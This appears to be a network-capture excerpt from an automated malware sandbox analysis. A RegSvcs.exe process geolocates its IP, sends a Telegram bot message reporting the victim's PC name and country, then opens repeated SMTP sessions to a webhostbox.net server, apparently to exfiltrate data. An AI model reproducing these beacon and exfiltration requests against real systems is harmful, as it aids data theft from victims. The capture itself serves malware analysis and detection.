2025-01-03 08:49:08 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49718	188.114.97.3	443	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 08:49:09 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-03 08:49:09 UTC	859	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:09 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1208939 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sxASkkePp4ZMVuJTC%2BshcyNxVADAJLmPbDzhjKEbTbLs25u%2FrWJLHKm8Q12JMxnZAeJHGoGS8%2BfnsTm8piBXpkLLu%2BvKifcKppfUN1nsBhdVUmsNSqUKuxWgPU1ZpxS%2BCf0lppEe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc1bbe4fcac43c9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1992&min_rtt=1983&rtt_var=762&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1419543&cwnd=230&unsent_bytes=0&cid=e38db9e22bb544f2&ts=143&x=0"
2025-01-03 08:49:09 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49720	188.114.97.3	443	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 08:49:11 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-03 08:49:11 UTC	853	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 08:49:11 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1208940 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CThwt4ZQfRr3xSrVmamBU495XaxaS2k8r2z3%2FlljuBHkibm5CwBaM0VDnayiUQwy2mroyb1mM6b6BIAXd11qHz9SgCyT0TclopeuAdl7ZzhrxtnrwlqjP5QxK0hGbhwv87w%2B2VZ0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc1bbed485319a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1917&min_rtt=1907&rtt_var=736&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1465863&cwnd=118&unsent_bytes=0&cid=c27104655cc2aa77&ts=146&x=0"
2025-01-03 08:49:11 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49721	149.154.167.220	443	6504	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 08:49:11 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:642294%0D%0ADate%20and%20Time:%2003/01/2025%20/%2015:43:58%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20642294%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-03 08:49:12 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 03 Jan 2025 08:49:12 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-03 08:49:12 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 3, 2025 09:49:19.682791948 CET	587	49727	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:19:19 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:49:19.684382915 CET	49727	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:49:19.830878019 CET	587	49727	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:49:19.831024885 CET	49727	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:49:19.979749918 CET	587	49727	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:49:24.682523012 CET	587	49758	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:19:24 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:49:24.682696104 CET	49758	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:49:24.830532074 CET	587	49758	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:49:24.830696106 CET	49758	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:49:24.982701063 CET	587	49758	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:49:33.525728941 CET	587	49817	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:19:33 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:49:33.525907993 CET	49817	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:49:33.671535015 CET	587	49817	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:49:33.671677113 CET	49817	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:49:33.822861910 CET	587	49817	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:49:44.341815948 CET	587	49888	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:19:44 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:49:44.342014074 CET	49888	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:49:44.493113995 CET	587	49888	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:49:44.493379116 CET	49888	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:49:44.646137953 CET	587	49888	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:03.379810095 CET	587	49996	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:03 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:03.379990101 CET	49996	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:03.531239986 CET	587	49996	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:03.531414986 CET	49996	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:03.688810110 CET	587	49996	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:07.396814108 CET	587	49997	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:07 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:07.396977901 CET	49997	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:07.547118902 CET	587	49997	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:07.553908110 CET	49997	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:07.704745054 CET	587	49997	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:11.254235983 CET	587	49998	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:11 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:11.254424095 CET	49998	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:11.407938957 CET	587	49998	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:11.408097982 CET	49998	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:11.554929972 CET	587	49998	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:15.129473925 CET	587	49999	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:15 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:15.129688025 CET	49999	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:15.276000023 CET	587	49999	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:15.276387930 CET	49999	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:15.423783064 CET	587	49999	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:19.029740095 CET	587	50000	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:18 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:19.029928923 CET	50000	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:19.177452087 CET	587	50000	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:19.177690029 CET	50000	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:19.323895931 CET	587	50000	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:22.913218021 CET	587	50001	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:22 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:22.915040016 CET	50001	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:23.064482927 CET	587	50001	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:23.070533037 CET	50001	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:23.219737053 CET	587	50001	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:26.283327103 CET	587	50002	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:26 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:26.284497023 CET	50002	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:26.436208963 CET	587	50002	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:26.436363935 CET	50002	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:26.588912010 CET	587	50002	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:30.589407921 CET	587	50004	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:30 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:30.589556932 CET	50004	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:30.735848904 CET	587	50004	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:30.736017942 CET	50004	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:30.884963989 CET	587	50004	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:33.867153883 CET	587	50005	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:33 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:33.867358923 CET	50005	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:34.022022963 CET	587	50005	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:34.022195101 CET	50005	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:34.173085928 CET	587	50005	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:37.309312105 CET	587	50007	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:37 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:37.309514046 CET	50007	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:37.455212116 CET	587	50007	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:37.464310884 CET	50007	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:37.610456944 CET	587	50007	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:41.567529917 CET	587	50009	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:41 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:41.572449923 CET	50009	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:41.718300104 CET	587	50009	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:41.720510006 CET	50009	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:41.867446899 CET	587	50009	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:44.844724894 CET	587	50010	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:44 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:44.844961882 CET	50010	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:44.998063087 CET	587	50010	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:45.000329971 CET	50010	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:45.149806976 CET	587	50010	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:48.316262007 CET	587	50011	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:48 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:48.316601038 CET	50011	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:48.469990969 CET	587	50011	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:48.470426083 CET	50011	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:48.629125118 CET	587	50011	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:50.223186970 CET	587	50012	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:50 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:50.224482059 CET	50012	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:50.375241041 CET	587	50012	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:50.376555920 CET	50012	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:50.528449059 CET	587	50012	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:51.379297018 CET	587	50014	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:51 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:51.379470110 CET	50014	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:51.530893087 CET	587	50014	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:51.531191111 CET	50014	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:51.683324099 CET	587	50014	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:55.208493948 CET	587	50015	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:55 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:55.212884903 CET	50015	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:55.472265005 CET	587	50015	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:55.472424984 CET	50015	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:55.624483109 CET	587	50015	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:50:59.198458910 CET	587	50016	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:20:59 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:50:59.199182034 CET	50016	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:50:59.426522017 CET	587	50016	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:50:59.426698923 CET	50016	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:50:59.575850010 CET	587	50016	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:03.067974091 CET	587	50017	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:02 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:03.068103075 CET	50017	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:03.220225096 CET	587	50017	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:03.220366955 CET	50017	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:03.372953892 CET	587	50017	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:05.464027882 CET	587	50018	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:05 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:05.464488029 CET	50018	587	192.168.2.5	208.91.199.115	EHLO 642294
Jan 3, 2025 09:51:05.611006975 CET	587	50018	208.91.199.115	192.168.2.5	250-bh-13.webhostbox.net Hello 642294 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 3, 2025 09:51:05.611155033 CET	50018	587	192.168.2.5	208.91.199.115	STARTTLS
Jan 3, 2025 09:51:05.757836103 CET	587	50018	208.91.199.115	192.168.2.5	220 TLS go ahead
Jan 3, 2025 09:51:08.318114996 CET	587	50019	208.91.199.115	192.168.2.5	220-bh-13.webhostbox.net ESMTP Exim 4.96.2 #2 Fri, 03 Jan 2025 14:21:08 +0530 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 3, 2025 09:51:08.320481062 CET	50019	587	192.168.2.5	208.91.199.115	EHLO 642294
